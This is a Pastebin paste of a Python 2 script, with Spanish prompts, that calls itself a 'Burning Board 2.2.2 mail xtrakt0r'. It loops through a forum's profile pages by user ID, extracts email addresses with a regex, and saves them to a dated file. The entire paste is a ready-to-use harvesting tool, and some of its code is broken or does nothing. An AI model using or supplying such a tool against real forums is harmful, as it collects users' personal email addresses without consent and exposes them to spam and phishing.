Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/usr/local/bin/python
- # -*- coding: utf-8 -*-
- import os
- import urllib
- import string
- import re
- import sys
- import time
- import datetime
- import random
- fecha= datetime.date.today()
- hora = time.time()
- hora = time.localtime(hora)[3]
- dos = time.localtime(hora)[1]
- hoy= fecha.strftime("%d_%m_%Y_")+str(hora)+"_"+str(dos)
- t0 = time.clock()
- correito = re.compile('([\w\-\.]+@(\w[\w\-]+\.)+[\w\-]+)')
- print 'Burning Board 2.2.2 mail xtrakt0r'
- print '------------Komtec1--------------'
- print '-----komtec1[at]gmail[dot]com----'
- print '\n Ingresa la url completa ej: http://sitio.com/forums/profile.php?userid='
- url = raw_input("")
- print '\ Ingresa el numero inicial, si lo dejas en blanco comienza en 1'
- inicial = raw_input("")
- if inicial == '':
- inicial = 0
- print 'Si sabes el numero final de usuarios ingresalo, o ingresa el numero maximo de intentos Ej: 315000'
- usuarios = raw_input("")
- print 'Espera un momento, el script se esta ejecutando'
- f = open (hoy+".txt", "a")
- if usuarios == '':
- print 'Voy a sacar el numero de usuarios '
- else:
- for x in range(int(inicial), int(usuarios)):
- mail = ''
- urlf = url + str(x)
- chek = urllib.urlopen(urlf)
- chek2 = chek.read()
- if x%100 == 0:
- print x
- if chek2.find("This address/url is invalid. If you clicked on a link, please inform the") >= 0:
- mail = ''
- else:
- mail = correito.findall(chek2)
- if len(mail) == 1:
- f.write(str(mail) + '\n')
- print mail
- f.close
- print "%.2f sec" % (time.clock() - t0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement